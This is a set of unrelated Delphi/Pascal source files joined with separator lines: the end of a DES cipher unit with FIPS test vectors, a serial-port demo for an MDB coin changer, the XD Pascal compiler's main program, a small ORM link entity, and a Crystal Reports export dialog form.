// b1 = 1 15 23 26 5 18 31 10
// b2= 2 8 24 14 32 27 3 9
// b3= 19 13 30 6 22 11 4 25
// End result rendered as nibbles..
// 16 7 20 21
// 29 12 28 17
// 1 15 23 26
// 5 18 31 10
// 2 8 24 14
// 32 27 3 9
// 19 13 30 6
// 22 11 4 25
// which is the P-32 transform.
end;
procedure DES_EncryptBlock(
Plaintext: uint64; var Ciphertext: uint64; const Key: TExpandedKey);
var
L, R, T32: uint32;
i: integer;
begin
IP_Transform( Plaintext, L, R);
// L0 = 1100 1100 0000 0000 1100 1100 1111 1111 (big-endien)
// R0 = 1111 0000 1010 1010 1111 0000 1010 1010 (big-endien)
// L = $FFCC00CC
// R = $AAF0AAF0
for i := 0 to 15 do
begin
T32 := DES_Permute( i, R, Key) xor L;
// DES_Permute(i=0) = 0010 0011 0100 1010 1010 1001 1011 1011 (big-endien) = $BBA94A23
// L(i=0)= $FFCC00CC
// T32(i=0)= 1110 1111 0100 1010 0110 0101 0100 0100 (big-endien) = $44654AEF
L := R;
R := T32
end;
// L16 = 0100 0011 0100 0010 0011 0010 0011 0100 (big-endien) = $34324243
// R16 = 0000 1010 0100 1100 1101 1001 1001 0101 (big-endien) = $95D94C0A
// Now Swap L & R and call the inverse IP transform.
IP_InverseTransform( R, L, Ciphertext)
// IP-1 = 10000101 11101000 00010011 01010100 00001111 00001010 10110100 00000101 (big-endien)
// This is the encrypted form of M = 0123456789ABCDEF (big-endien):
// namely, C = 85E813540F0AB405 (big-endien) OR
// C = $05B40A0F5413E885 (delphi).
end;
procedure DES_DecryptBlock(
Ciphertext: uint64; var Plaintext: uint64; const Key: TExpandedKey);
var
L, R, T32: uint32;
i: integer;
begin
IP_Transform( Ciphertext, R, L); // L & R swapped.
for i := 15 downto 0 do
begin
T32 := R;
R := L;
L := DES_Permute( i, R, Key) xor T32
end;
IP_InverseTransform( L, R, Plaintext)
end;
{ TDES }
function TDES.BlockSize: integer;
begin
result := 64
end;
constructor TDES.Create;
begin
end;
function TDES.DefinitionURL: string;
begin
result := 'http://csrc.nist.gov/publications/fips/fips46-3/fips46-3.pdf'
end;
function TDES.DisplayName: string;
begin
result := 'DES'
end;
function TDES.Features: TAlgorithmicFeatureSet;
begin
result := [
afCryptographicallyWeak,
afOpenSourceSoftware]
end;
function TDES.GenerateKey( Seed: TStream): TSymetricKey;
var
SeedKey: uint64;
begin
Seed.ReadBuffer( SeedKey, 8);
result := TDESKey.Create( SeedKey)
end;
function TDES.KeySize: integer;
begin
result := 56
end;
function TDES.LoadKeyFromStream( Store: TStream): TSymetricKey;
begin
result := TDESKey.CreateFromStream( Store)
end;
function TDES.MakeBlockCodec( Key: TSymetricKey): IBlockCodec;
begin
result := TDESCodec.Create( Key as TDESKey)
end;
function TDES.ProgId: string;
begin
result := DES_ProgId
end;
function TDES.SeedByteSize: integer;
begin
result := 8
end;
function TDES.SelfTest_Plaintext: TBytes;
{ This from "FIPS PUB 81 - DES MODES OF OPERATION"
(http://www.itl.nist.gov/fipspubs/fip81.htm)
TABLE B1: AN EXAMPLE OF THE ELECTRONIC CODEBOOK (ECB) MODE
The ECB mode in the encrypt state has been selected.
Cryptographic Key = 0123456789abcdef
The plain text is the ASCII code for "Now is the time for all ." These seven-bit characters are written in hexadecimal notation
(0,b7,b6,...,b1).
TIME PLAINTEXT | DES INPUT BLOCK | DES OUTPUT BLOCK | CIPHERTEXT
1. 4e6f772069732074 | 4e6f772069732074 | 3fa40e8a984d4315 | 3fa40e8a984d4815
2. 68652074696d652o | 68652074696d652o | 6a271787ab8883f9 | 6a271787ab8883f9
3. 666f7220616c6c20 | 666f7220616c6c20 | 893d51ec4b563b53 | 893d51ec4b563b53
The ECB mode in the decrypt state has been selected.
TIME PLAINTEXT | DES INPUT BLOCK | DES OUTPUT BLOCK | CIPHERTEXT
1. 3fa40e8a984d4815 | 3fa40e8a984d4815 | 4e6f772o69732o74 | 4e6f772069732074
2. 6a271787ab8883f9 | 6a271787ab8883f9 | 68652074696d6520 | 68652074696d6520
3. 893d51ec4b563b53 | 893d51ec4b563b53 | 666f7220616c6c20 | 666f7220616c6c20}
begin
result := AnsiBytesOf('4e6f772069732074');
end;
function TDES.SelfTest_Ciphertext: TBytes;
begin
result := AnsiBytesOf('3fa40e8a984d4815');
end;
function TDES.SelfTest_Key: TBytes;
begin
result := AnsiBytesOf('0123456789abcdef');
end;
function TDES.WikipediaReference: string;
begin
result := 'Data_Encryption_Standard'
end;
procedure SetParityBitsOnKey( var K: uint64);
var
ByteIndex, BitIdx: integer;
Byte1: byte;
Parity: byte;
begin
for ByteIndex := 0 to 7 do
begin
Byte1 := Int64Rec( K).Bytes[ ByteIndex];
Parity := $00;
for BitIdx := 7 downto 1 do
Parity := Parity xor ((Byte1 shr BitIdx) and $01);
Int64Rec( K).Bytes[ ByteIndex] := (Byte1 and $FE) or Parity
end
end;
function hasCorrectParity( K: uint64): boolean;
var
ByteIndex, BitIdx: integer;
Byte1: byte;
Parity: byte;
begin
for ByteIndex := 0 to 7 do
begin
Byte1 := Int64Rec( K).Bytes[ ByteIndex];
Parity := $00;
for BitIdx := 7 downto 1 do
Parity := Parity xor ((Byte1 shr BitIdx) and $01);
result := (Byte1 and $01) = Parity
end
end;
{ TDESKey }
constructor TDESKey.Create( NativeKey1: uint64);
begin
FNativeKey := NativeKey1;
SetParityBitsOnKey( FNativeKey);
ExpandKey( FNativeKey, FExpandedKey)
end;
constructor TDESKey.CreateFromStream( Store: TStream);
begin
Store.ReadBuffer( FNativeKey, 8);
if not hasCorrectParity( FNativeKey) then
raise Exception.Create( ES_InvalidKey);
ExpandKey( FNativeKey, FExpandedKey)
end;
procedure TDESKey.SaveToStream(Stream: TStream);
begin
Stream.Write( FNativeKey, 8)
end;
procedure TDESKey.Burn;
begin
FNativeKey := 0;
FillChar( FExpandedKey, SizeOf( FExpandedKey), 0)
end;
{ TDESCodec }
constructor TDESCodec.Create( LockBoxKey1: TDESKey);
begin
FLockBoxKey := LockBoxKey1
end;
procedure TDESCodec.Encrypt_Block( Plaintext, Ciphertext: TMemoryStream);
var
PlaintextBlock, CiphertextBlock: uint64;
begin
Move( Plaintext.Memory^, PlaintextBlock, 8);
DES_EncryptBlock( PlaintextBlock, CiphertextBlock, FLockBoxKey.FExpandedKey);
Move( CiphertextBlock, Ciphertext.Memory^, 8)
end;
procedure TDESCodec.Decrypt_Block( Plaintext, Ciphertext: TMemoryStream);
var
PlaintextBlock, CiphertextBlock: uint64;
begin
Move( Ciphertext.Memory^, CiphertextBlock, 8);
DES_DecryptBlock( CiphertextBlock, PlaintextBlock, FLockBoxKey.FExpandedKey);
Move( PlaintextBlock, Plaintext.Memory^, 8)
end;
procedure TDESCodec.Reset;
begin
end;
procedure TDESCodec.Burn;
begin
end;
end.
|
{*******************************************************************************
DEMOSTRADOR de bus MDB con DELPHI
Requiere la libreria TComPort 4.11
Codigo bajo licencia MIT
Desarrollado por Axel GUILLAUMET
www.ingenieriaelectronica.net
https://github.com/AxelGUILLAUMET/MDB_Protocol_Delphi
*******************************************************************************}
unit MainForm;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ExtCtrls, Vcl.StdCtrls, CPort, inifiles,
Vcl.Buttons, Vcl.Imaging.pngimage;
type
TFMainForm = class(TForm)
MDB_COM_TIMER: TTimer;
MDB_COMPORT: TComPort;
MDB_PARSER_TIMER: TTimer;
GroupBox2: TGroupBox;
Shape_STAT_MDB_COMPORT: TShape;
Label1: TLabel;
Label_MDB_COMPORT: TLabel;
Label7: TLabel;
Label_MDB_STATUS: TLabel;
GroupBox3: TGroupBox;
Label6: TLabel;
Label11: TLabel;
Label12: TLabel;
Label15: TLabel;
Label16: TLabel;
GroupBox1: TGroupBox;
Label5: TLabel;
Label2: TLabel;
Label3: TLabel;
Label4: TLabel;
Edit1: TEdit;
BitBtn2: TBitBtn;
Label8: TLabel;
Label9: TLabel;
Label10: TLabel;
Label13: TLabel;
Label14: TLabel;
Label_MDB_tubeA: TLabel;
Label_MDB_tubeB: TLabel;
Label_MDB_tubeD: TLabel;
Label_MDB_tubeE: TLabel;
Label_MDB_tubeC: TLabel;
BitBtn5: TBitBtn;
BitBtn4: TBitBtn;
Label18: TLabel;
Label_MDB_totalTubes: TLabel;
GroupBox5: TGroupBox;
GroupBox4: TGroupBox;
Memo1: TMemo;
BitBtn1: TBitBtn;
BitBtn3: TBitBtn;
procedure MDB_PARSE;
procedure MDB_COM_TIMERTimer(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure MDB_COMPORTRxChar(Sender: TObject; Count: Integer);
procedure MDB_PARSER_TIMERTimer(Sender: TObject);
procedure BitBtn2Click(Sender: TObject);
procedure BitBtn4Click(Sender: TObject);
procedure BitBtn1Click(Sender: TObject);
procedure BitBtn3Click(Sender: TObject);
procedure BitBtn5Click(Sender: TObject);
private
MDB_COM_BUFFER : String; // Buffer serial del puerto serial al cual se conecta el dispositivo MDB
public
MDB_COM : string; // Nombre del puerto serial al cual se conecta el dispositivo MDB
m50c : word; // Cantidad de monedas de 50 centavos presentes en cassette
m1p : word; // Cantidad de monedas de 1 peso presentes en cassette
m2p : word; // Cantidad de monedas de 2 pesos presentes en cassette
m5p : word; // Cantidad de monedas de 5 pesos presentes en cassette
m10p : word; // Cantidad de monedas de 10 pesos presentes en cassette
cantidad_insertada : word; // Cantidad de dinero total insertado
MDB_Status : byte; // Estatuto MDB del sistema
// 1 -> Escrow request
// 2 -> hanger payout busy
// 3 -> No credit
// 4 -> Defective tube sensor
// 5 -> Double arrival
// 6 -> Acceptor unplugged
// 7 -> Tube jam
// 8 -> ROM checksum error
// 9 -> Coin routing error
// 10 -> Changer busy
// 11 -> Changer was reset
// 12 -> Coin jam
// Vendran mas para billetera
// 255 -> No Message...
Monedero_MDB_ispolled : boolean;
MDB_polldelay : word;
Timer_MSG_MDB_STATUS : word;
end;
var
FMainForm: TFMainForm;
inifile : Tinifile; // Objeto Inifile de la configuracion global
implementation
{$R *.dfm}
uses HWSetting, AboutForm;
procedure TFMainForm.BitBtn1Click(Sender: TObject);
begin
FAboutForm.showmodal;
end;
procedure TFMainForm.BitBtn2Click(Sender: TObject);
begin
MDB_COMPORT.WriteStr(chr($0F));
MDB_COMPORT.WriteStr(chr($02));
MDB_COMPORT.WriteStr(chr(strtoint(edit1.text)*2));
//MDB_COMPORT.WriteStr(#$0F#$02#$04);
end;
procedure TFMainForm.BitBtn3Click(Sender: TObject);
begin
application.terminate;
end;
procedure TFMainForm.BitBtn4Click(Sender: TObject);
begin
FHWSetting.showmodal;
end;
procedure TFMainForm.BitBtn5Click(Sender: TObject);
begin
MDB_COMPORT.WriteStr(chr($0A));
end;
procedure TFMainForm.FormCreate(Sender: TObject);
begin
// Codigo de inicializacion
inifile := TInifile.create(GetCurrentDir +'/config.ini');
MDB_COM_BUFFER := '';
MDB_Status := 255; // No hay mensaje MDB
Monedero_MDB_ispolled := false; // El monedero MDB no ha sido polleado
try
MDB_COM := inifile.ReadString('system','MDB_COMPORT','COM1');
Label_MDB_COMPORT.Caption := MDB_COM;
MDB_COMPORT.Port := MDB_COM;
except end;
end;
procedure TFMainForm.FormDestroy(Sender: TObject);
begin
inifile.Free;
end;
procedure TFMainForm.MDB_COMPORTRxChar(Sender: TObject; Count: Integer);
var RX_MDB_data : string;
begin
MDB_PARSER_TIMER.Enabled := false; // El parseo de los datos MDB esta trabajando con un timer diferente hay que pararlo mientras que llemos el puerto serial.
MDB_COMPORT.ReadStr(RX_MDB_data, Count);
MDB_COM_BUFFER := MDB_COM_BUFFER + RX_MDB_data;
memo1.Text := memo1.Text + RX_MDB_data;
MDB_PARSER_TIMER.Enabled := true; // Reactivamos el timer del timer del parseo MDB
end;
procedure TFMainForm.MDB_COM_TIMERTimer(Sender: TObject);
begin
// Loop para verificar si el TComPort MDB_COMPORT esta abierto, en caso contrario intenamos abrirlo.
// El COMPORT NO esta abierto
if not MDB_COMPORT.Connected then begin
try
MDB_COMPORT.Open;
// POLL test para estar seguro
MDB_COMPORT.WriteStr(chr($0B));
except end;
end
// El COMPORT ESTA abierto
else begin
if Monedero_MDB_ispolled then
Shape_STAT_MDB_COMPORT.Brush.Color := cllime
else
Shape_STAT_MDB_COMPORT.Brush.Color := clred;
try
// MDB_COMPORT.Close;
except end;
end;
// Hacemos un POLL al monedero para ver el estatuto general del sistema
{
MDB_polldelay := MDB_polldelay + 1;
if MDB_polldelay >= 10 then begin
Monedero_MDB_ispolled := false;
MDB_polldelay := 0;
MDB_COMPORT.WriteStr(chr($0B));
end;
}
// Gestion de Label_MDB_STATUS
Timer_MSG_MDB_STATUS := Timer_MSG_MDB_STATUS + 1;
if (Timer_MSG_MDB_STATUS >= 5) then begin
Timer_MSG_MDB_STATUS := 10;
MDB_Status := 255;
Label_MDB_STATUS.Caption := '-';
end;
end;
procedure TFMainForm.MDB_PARSER_TIMERTimer(Sender: TObject);
begin
MDB_PARSER_TIMER.Enabled := false;
MDB_PARSE; // Con ese timer, se ejectura el parse de los datos MDB recibidos.
MDB_PARSER_TIMER.Enabled := true;
end;
procedure TFMainForm.MDB_PARSE;
var watchdog : integer;
tempvalue : string;
begin
///////////////
// Parse MDB //
///////////////
// REVISAR BIEN EL PARSE READ : DE REPENTE NO TOMA EN CUENTA LA MONEDA
// EL ERROR ES QUE MANDA DE REPENTE 08 21 en LUGAR DE una trama completa y no devuelvle la moneda.
// (Aparentemente se arreglo desactivando el timer al momento de recibir los datos del puerto serial...)
// Verificar cotejo con mas de 127 monedas en total-----
// CADENA VACIA, SALIMOS
if (MDB_COM_BUFFER = '') then exit; // Si el buffer esta vacio, salimos de la procedure
// -----------------
// POLL MONEDERO MDB
// -----------------
// 00 #13 #10
// Longitud de la cadena 5 caracteres
if ((MDB_COM_BUFFER[1] = '0') and (MDB_COM_BUFFER[2] = '0') and (MDB_COM_BUFFER[3] = ' ') and(MDB_COM_BUFFER[4] = #13) and (MDB_COM_BUFFER[5] = #10) and (MDB_COM_BUFFER.Length = 5)) then begin
Monedero_MDB_ispolled := true;
Delete(MDB_COM_BUFFER, 1, 5); // Liberamos del buffer la trama que parseamos.
end else
// ----------------
// MONEDA INSERTADA
// ----------------
// 08 xx yy
// Longitud de la cadena 10 caracteres
// 08 -> Direccion MDB para monedero [1][2]
// -> Espacio [3]
// xx -> Tipo de moneda (52,53,54,55) [4][5]
// -> Espacio [6]
// yy -> Cantidad de monedas presentes en el cassette [7][8]
// FINAL -> #13 #10 [9][10]
if ((MDB_COM_BUFFER[1] = '0') and (MDB_COM_BUFFER[2] = '8') and (MDB_COM_BUFFER[4] = '5')) then begin
// Loopeamos hasta tener el final de la trama para asegurarnos de que viene completa.
// Vérificamos los 2 bytes del final
watchdog := 0;
repeat
watchdog := watchdog + 1;
if (watchdog >= 20000) then begin
Delete(MDB_COM_BUFFER, 1, 1);
exit;
end;
until ((MDB_COM_BUFFER[9] = #13) and (MDB_COM_BUFFER[10] = #10));
// Se suma al dinero total insertado
if (MDB_COM_BUFFER[5] = '2') then begin // 52 -> 1 peso
cantidad_insertada := cantidad_insertada + 1;
end;
if (MDB_COM_BUFFER[5] = '3') then begin // 53 -> 2 pesos
cantidad_insertada := cantidad_insertada + 2;
end;
if (MDB_COM_BUFFER[5] = '4') then begin // 54 -> 5 pesos
cantidad_insertada := cantidad_insertada + 5;
end;
if (MDB_COM_BUFFER[5] = '5') then begin // 55 -> 10 pesos
cantidad_insertada := cantidad_insertada + 10;
end;
label2.Caption := inttostr(cantidad_insertada);
Delete(MDB_COM_BUFFER, 1, 10); // Liberamos del buffer la trama que parseamos.
end else
// -----------------
// ESTATUTO MONEDERO
// -----------------
// 08 xx
// Longitud de la cadena 7 caracteres
// 08 -> Direccion MDB para monedero [1][2]
// -> Espacio [3]
// xx -> Codigo de err or [4][5]
// FINAL -> #13 #10 [6][7]
if ((MDB_COM_BUFFER[1] = '0') and (MDB_COM_BUFFER[2] = '8') and (MDB_COM_BUFFER[4] = '0')) then begin
// Loopeamos hasta tener el final de la trama para asegurarnos de que viene completa.
// Vérificamos los 2 bytes del final
watchdog := 0;
repeat
watchdog := watchdog + 1;
if (watchdog >= 20000) then begin
Delete(MDB_COM_BUFFER, 1, 1);
exit;
end;
until ((MDB_COM_BUFFER[6] = #13) and (MDB_COM_BUFFER[7] = #10));
// Identificamos el ESTATUTO MDB del monedero
case MDB_COM_BUFFER[5] of
// Escrow request
'1' : begin
MDB_Status := 1;
Label_MDB_STATUS.Caption := 'Escrow request';
end;
// Changer payout busy
'2' : begin
MDB_Status := 2;
Label_MDB_STATUS.Caption := 'Changer payout busy';
end;
// No credit
'3' : begin
MDB_Status := 3;
Label_MDB_STATUS.Caption := 'No credit';
end;
// Defective tube sensor
'4' : begin
MDB_Status := 4;
Label_MDB_STATUS.Caption := 'Defective tube sensor';
end;
// Double arrival
'5' : begin
MDB_Status := 5;
Label_MDB_STATUS.Caption := 'Double arrival';
end;
// Acceptor unplugged
'6' : begin
MDB_Status := 6;
Label_MDB_STATUS.Caption := 'Acceptor unplugged';
end;
// Tube jam
'7' : begin
MDB_Status := 7;
Label_MDB_STATUS.Caption := 'Tube jam';
end;
// ROM checksum error
'8' : begin
MDB_Status := 8;
Label_MDB_STATUS.Caption := 'ROM checksum error';
end;
// Coin routing error
'9' : begin
MDB_Status := 9;
Label_MDB_STATUS.Caption := 'Coin routing error';
end;
// Changer busy
'A' : begin
MDB_Status := 10;
Label_MDB_STATUS.Caption := 'Changer busy';
end;
// Changer was reset
'B' : begin
MDB_Status := 11;
Label_MDB_STATUS.Caption := 'Changer was reset';
end;
// Coin jam
'C' : begin
MDB_Status := 12;
Label_MDB_STATUS.Caption := 'Coin jam';
end;
end;
Timer_MSG_MDB_STATUS := 0;
Delete(MDB_COM_BUFFER, 1, 7); // Liberamos del buffer la trama que parseamos.
end else
// --------------
// ESTATUTO TUBOS
// --------------
// 00 00 vv 00 ww xx yy zz 00 00 00 00 00 00 00 00 00 00 tt
// Longitud de la cadena 58 caracteres
// vv -> 50 Centavos [7][8] - Tubo A
// ww -> 1 Peso [13][14] - Tubo B
// xx -> 2 Pesos [16][17] - Tubo D
// yy -> 5 Pesos [19][20] - Tubo E
// zz -> 10 Pesos [22][23] - Tubo C
// FINAL -> #13 #10 [57][58]
if ((MDB_COM_BUFFER[1] = '0') and (MDB_COM_BUFFER[2] = '0') and (MDB_COM_BUFFER[3] = ' ') and (MDB_COM_BUFFER[4] = '0') and (MDB_COM_BUFFER[5] = '0')) then begin
// Loopeamos hasta tener el final de la trama para asegurarnos de que viene completa.
// Verificamos los 2 bytes del final
watchdog := 0;
repeat
watchdog := watchdog + 1;
if (watchdog >= 20000) then begin
Delete(MDB_COM_BUFFER, 1, 1);
exit;
end;
until ((MDB_COM_BUFFER[58] = #13) and (MDB_COM_BUFFER[59] = #10));
// Recuperamos la cantidad de monedas presentes en cada tubo
m50c := ((StrToInt('$' + MDB_COM_BUFFER[7]))*16) + (StrToInt('$' + MDB_COM_BUFFER[8]));
m1p := ((StrToInt('$' + MDB_COM_BUFFER[13]))*16) + (StrToInt('$' + MDB_COM_BUFFER[14]));
m2p := ((StrToInt('$' + MDB_COM_BUFFER[16]))*16) + (StrToInt('$' + MDB_COM_BUFFER[17]));
m5p := ((StrToInt('$' + MDB_COM_BUFFER[19]))*16) + (StrToInt('$' + MDB_COM_BUFFER[20]));
m10p := ((StrToInt('$' + MDB_COM_BUFFER[22]))*16) + (StrToInt('$' + MDB_COM_BUFFER[23]));
Label_MDB_tubeA.Caption := inttostr(m50c);
Label_MDB_tubeB.Caption := inttostr(m1p);
Label_MDB_tubeD.Caption := inttostr(m2p);
Label_MDB_tubeE.Caption := inttostr(m5p);
Label_MDB_tubeC.Caption := inttostr(m10p);
Label_MDB_totalTubes.Caption := inttostr( (m50c div 2) + (m1p)+(m2p*2)+(m5p*5)+(m10p*10) )+'$MXN';
Delete(MDB_COM_BUFFER, 1, 58); // Liberamos del buffer la trama que parseamos.
end
else begin
// Detectamos otro tipo de entrada, la ignoramos
Delete(MDB_COM_BUFFER, 1, 1); // Liberamos del buffer la trama que parseamos.
end;
end;
end.
|
// XD Pascal - a 32-bit compiler for Windows
// Copyright (c) 2009-2010, 2019-2020, Vasiliy Tereshkov
{$APPTYPE CONSOLE}
{$I-}
{$H-}
program XDPW;
uses SysUtils, Common, Scanner, Parser, CodeGen, Linker;
procedure SplitPath(const Path: TString; var Folder, Name, Ext: TString);
var
DotPos, SlashPos, i: Integer;
begin
Folder := '';
Name := Path;
Ext := '';
DotPos := 0;
SlashPos := 0;
for i := Length(Path) downto 1 do
if (Path[i] = '.') and (DotPos = 0) then
DotPos := i
else if (Path[i] = '\') and (SlashPos = 0) then
SlashPos := i;
if DotPos > 0 then
begin
Name := Copy(Path, 1, DotPos - 1);
Ext := Copy(Path, DotPos, Length(Path) - DotPos + 1);
end;
if SlashPos > 0 then
begin
Folder := Copy(Path, 1, SlashPos);
Name := Copy(Path, SlashPos + 1, Length(Name) - SlashPos);
end;
end;
procedure NoticeProc(ClassInstance: Pointer; const Msg: TString);
begin
WriteLn(Msg);
end;
procedure WarningProc(ClassInstance: Pointer; const Msg: TString);
begin
if NumUnits >= 1 then
Notice(ScannerFileName + ' (' + IntToStr(ScannerLine) + ') Warning: ' + Msg)
else
Notice('Warning: ' + Msg);
end;
procedure ErrorProc(ClassInstance: Pointer; const Msg: TString);
begin
if NumUnits >= 1 then
Notice(ScannerFileName + ' (' + IntToStr(ScannerLine) + ') Error: ' + Msg)
else
Notice('Error: ' + Msg);
repeat FinalizeScanner until not RestoreScanner;
FinalizeCommon;
Halt(1);
end;
var
CompilerPath, CompilerFolder, CompilerName, CompilerExt,
PasPath, PasFolder, PasName, PasExt,
ExePath: TString;
begin
SetWriteProcs(nil, @NoticeProc, @WarningProc, @ErrorProc);
Notice('XD Pascal for Windows ' + VERSION);
Notice('Copyright (c) 2009-2010, 2019-2020, Vasiliy Tereshkov');
if ParamCount < 1 then
begin
Notice('Usage: xdpw <file.pas>');
Halt(1);
end;
CompilerPath := TString(ParamStr(0));
SplitPath(CompilerPath, CompilerFolder, CompilerName, CompilerExt);
PasPath := TString(ParamStr(1));
SplitPath(PasPath, PasFolder, PasName, PasExt);
InitializeCommon;
InitializeLinker;
InitializeCodeGen;
Folders[1] := PasFolder;
Folders[2] := CompilerFolder + 'units\';
NumFolders := 2;
CompileProgramOrUnit('system.pas');
CompileProgramOrUnit(PasName + PasExt);
ExePath := PasFolder + PasName + '.exe';
LinkAndWriteProgram(ExePath);
Notice('Complete. Code size: ' + IntToStr(GetCodeSize) + ' bytes. Data size: ' + IntToStr(InitializedGlobalDataSize + UninitializedGlobalDataSize) + ' bytes');
repeat FinalizeScanner until not RestoreScanner;
FinalizeCommon;
end.
|
unit eLink;
interface
uses
API_ORM,
eCommon;
type
TLink = class(TEntity)
private
FBodyGroupID: Integer;
FHandledTypeID: Integer;
FHash: string;
FJobID: Integer;
FLevel: Integer;
FOwnerGroupID: Integer;
FURL: string;
procedure SetURL(aValue: string);
public
class function GetStructure: TSructure; override;
published
property BodyGroupID: Integer read FBodyGroupID write FBodyGroupID;
property HandledTypeID: Integer read FHandledTypeID write FHandledTypeID;
property Hash: string read FHash write FHash;
property JobID: Integer read FJobID write FJobID;
property Level: Integer read FLevel write FLevel;
property OwnerGroupID: Integer read FOwnerGroupID write FOwnerGroupID;
property URL: string read FURL write SetURL;
end;
TLinkList = TEntityAbstractList<TLink>;
implementation
uses
eGroup,
System.Hash;
procedure TLink.SetURL(aValue: string);
begin
FURL := aValue;
FHash := THashMD5.GetHashString(aValue);
end;
class function TLink.GetStructure: TSructure;
begin
Result.TableName := 'CORE_LINKS';
AddForeignKey(Result.ForeignKeyArr, 'OWNER_GROUP_ID', TGroup, 'ID');
end;
end.
|
unit UDExportOptions;
interface
uses
SysUtils, Classes, Controls, Forms, StdCtrls,
Buttons, ComCtrls, ExtCtrls, Graphics, Dialogs,
UCrpe32;
type
TCrpeExportOptionsDlg = class(TForm)
pnlExport: TPanel;
pnlDestination: TPanel;
cbKeepOpen: TCheckBox;
btnExport: TBitBtn;
SaveDialog1: TSaveDialog;
pnlDestinations: TPanel;
pcDestination: TPageControl;
tsToFile: TTabSheet;
tsToEmailViaMapi: TTabSheet;
tsToEmailViaVim: TTabSheet;
tsToMsExchange: TTabSheet;
tsToLotusNotes: TTabSheet;
tsToApplication: TTabSheet;
pnlFile: TPanel;
lblFileName: TLabel;
editFileName: TEdit;
btnEdit: TButton;
pnlApplication: TPanel;
lblAFileName: TLabel;
lblAppName: TLabel;
editAFileName: TEdit;
btnAFileName: TButton;
editAppName: TEdit;
btnApplication: TButton;
pnlExchange: TPanel;
lblProfile: TLabel;
lblExchangePassword: TLabel;
lblFolder: TLabel;
editProfile: TEdit;
editFolder: TEdit;
editExchangePassword: TEdit;
pnlMapi: TPanel;
lblSubject: TLabel;
lblMessage: TLabel;
lblCCList: TLabel;
lblToList: TLabel;
editToList: TEdit;
editCCList: TEdit;
editSubject: TEdit;
memoMessage: TMemo;
pnlEmailVim: TPanel;
lblVimSubject: TLabel;
lblVimMessage: TLabel;
lblVimTo: TLabel;
lblVimCC: TLabel;
lblVimBcc: TLabel;
editVimTo: TEdit;
editVimCC: TEdit;
editVimSubject: TEdit;
memoVimMessage: TMemo;
editVimBcc: TEdit;
pnlLotusNotes: TPanel;
lblDBName: TLabel;
lblComments: TLabel;
lblFormName: TLabel;
editDBName: TEdit;
editFormName: TEdit;
editComments: TEdit;
btnClear: TButton;
btnCancel: TButton;
btnOk: TButton;
rgDestination: TRadioGroup;
rgFileType: TRadioGroup;
btnOptions: TButton;
cbPromptForOptions: TCheckBox;
cbPromptOnOverwrite: TCheckBox;
cbProgressDialog: TCheckBox;
editUserName: TEdit;
lblUserName: TLabel;
editPassword: TEdit;
lblPassword: TLabel;
procedure FormShow(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure btnExportClick(Sender: TObject);
procedure editFileNameDblClick(Sender: TObject);
procedure cbPromptForOptionsClick(Sender: TObject);
procedure rgDestinationClick(Sender: TObject);
procedure cbKeepOpenClick(Sender: TObject);
procedure cbProgressDialogClick(Sender: TObject);
procedure editFileNameChange(Sender: TObject);
procedure editProfileChange(Sender: TObject);
procedure editFolderChange(Sender: TObject);
procedure editExchangePasswordChange(Sender: TObject);
procedure editToListChange(Sender: TObject);
procedure editCCListChange(Sender: TObject);
procedure editSubjectChange(Sender: TObject);
procedure memoMessageChange(Sender: TObject);
procedure editToListVChange(Sender: TObject);
procedure editCCListVChange(Sender: TObject);
procedure editBCCListVChange(Sender: TObject);
procedure editSubjectVChange(Sender: TObject);
procedure memoMessageVChange(Sender: TObject);
procedure cbPromptOnOverwriteClick(Sender: TObject);
procedure editAFileNameChange(Sender: TObject);
procedure editAFileNameDblClick(Sender: TObject);
procedure editAppNameChange(Sender: TObject);
procedure editAppNameDblClick(Sender: TObject);
procedure pcDestinationChange(Sender: TObject);
procedure btnCancelClick(Sender: TObject);
procedure btnOkClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure rgFileTypeClick(Sender: TObject);
procedure btnOptionsClick(Sender: TObject);
procedure editUserNameChange(Sender: TObject);
procedure editPasswordChange(Sender: TObject);
private
{ Private declarations }
ExportPath : string;
{Export variables}
rAppName : string;
rFileName : string;
rFileType : integer;
rDestination : integer;
rPromptForOptions : boolean;
rPromptOnOverwrite : boolean;
{Email}
rToList,
rCCList,
rMessage,
rSubject,
rPassword,
rUserName,
rBCCList : string;
{Excel}
rArea : string;
rChopPageHeader : boolean;
rColumnWidth : integer;
rConstant : double;
rConvertDatesToStrings : boolean;
rCreatePageBreaks : boolean;
rExportHeaderFooter : boolean;
rExcelFirstPage : word;
rExcelLastPage : word;
rExcelUsePageRange : boolean;
rWorksheetFunctions : boolean;
rXLSType : integer;
{Exchange}
rFolder,
rExchPassword,
rProfile : string;
{HTML}
rHTMLFirstPage : word;
rHTMLLastPage : word;
rPageNavigator : boolean;
rSeparatePages : boolean;
rHTMLUsePageRange : boolean;
{LotusNotes}
rDBName : string;
rFormName : string;
rComments : string;
{ODBC}
rODBCPrompt : boolean;
rODBCPassword,
rODBCSource,
rODBCTable,
rODBCUser : string;
{PDF}
rPDFUsePageRange : Boolean;
rPDFFirstPage : Word;
rPDFLastPage : Word;
rPDFPrompt : boolean;
{RTF}
rRTFUsePageRange : Boolean;
rRTFFirstPage : Word;
rRTFLastPage : Word;
rRTFPrompt : boolean;
{Text Options}
rUseRptNumberFmt : boolean;
rUseRptDateFmt : boolean;
rStringDelimiter : char;
rFieldSeparator : string;
rLinesPerPage : word;
rCharPerInch : word;
rRecordsType : integer;
{MSWord}
rWordFirstPage : word;
rWordLastPage : word;
rWordPrompt : boolean;
rWordUsePageRange : boolean;
{XML}
rXMLPrompt : boolean;
rXMLSeparatePages : Boolean;
public
{ Public declarations }
Cr : TCrpe;
end;
var
CrpeExportOptionsDlg: TCrpeExportOptionsDlg;
bExportOptions : boolean;
implementation
{$R *.DFM}
uses UDExportSepVal, UDExportOdbc, UDExportPagText, UDExportExcel,
UDExportHTML4, UDExportRTF, UDExportPDF, UDExportXML, UDExportRecords,
UDExportWord, UCrpeUtl;
{------------------------------------------------------------------------------}
{ FormCreate procedure }
{------------------------------------------------------------------------------}
procedure TCrpeExportOptionsDlg.FormCreate(Sender: TObject);
begin
bExportOptions := True;
LoadFormPos(Self);
btnOk.Tag := 1;
btnCancel.Tag := 1;
btnClear.Tag := 1;
end;
